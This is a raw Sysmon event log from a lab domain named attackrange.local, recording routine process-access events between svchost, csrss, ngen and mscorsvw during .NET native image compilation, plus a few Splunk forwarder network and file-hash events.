14:45:01.403{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6D-613B-D409-00000000F001}4568C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.391{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6D-613B-D409-00000000F001}4568C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.391{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6D-613B-D409-00000000F001}4568C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.233{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6D-613B-D309-00000000F001}6264C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.213{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6D-613B-D309-00000000F001}6264C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.213{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6D-613B-D309-00000000F001}6264C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.173{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6D-613B-D209-00000000F001}6784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.163{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6D-613B-D209-00000000F001}6784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.163{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6D-613B-D209-00000000F001}6784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.103{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6D-613B-D109-00000000F001}3836C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.092{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6D-613B-D109-00000000F001}3836C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.092{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6D-613B-D109-00000000F001}3836C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.052{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6D-613B-D009-00000000F001}6752C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.042{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6D-613B-D009-00000000F001}6752C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.042{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6D-613B-D009-00000000F001}6752C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.989{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-E509-00000000F001}1916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.976{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-E509-00000000F001}1916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.976{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-E509-00000000F001}1916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.909{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-E409-00000000F001}3344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000013979Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:01.464{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50124-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013978Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:02.634{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=99C445006E35FC75953213AA46B4C133,SHA256=53DF421E9888E11D8914ADCFA5892C59D403BF787CBD1E91383F606FE206B039,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.896{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-E409-00000000F001}3344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.896{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-E409-00000000F001}3344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.876{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A76A6235AC538B54FCDC3A976BD895F4,SHA256=14F73B26E2CA00B5A5938E3F10C4E796E705CAA685E39688FDA32D22F73303B7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.806{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-E309-00000000F001}4696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.796{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-E309-00000000F001}4696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 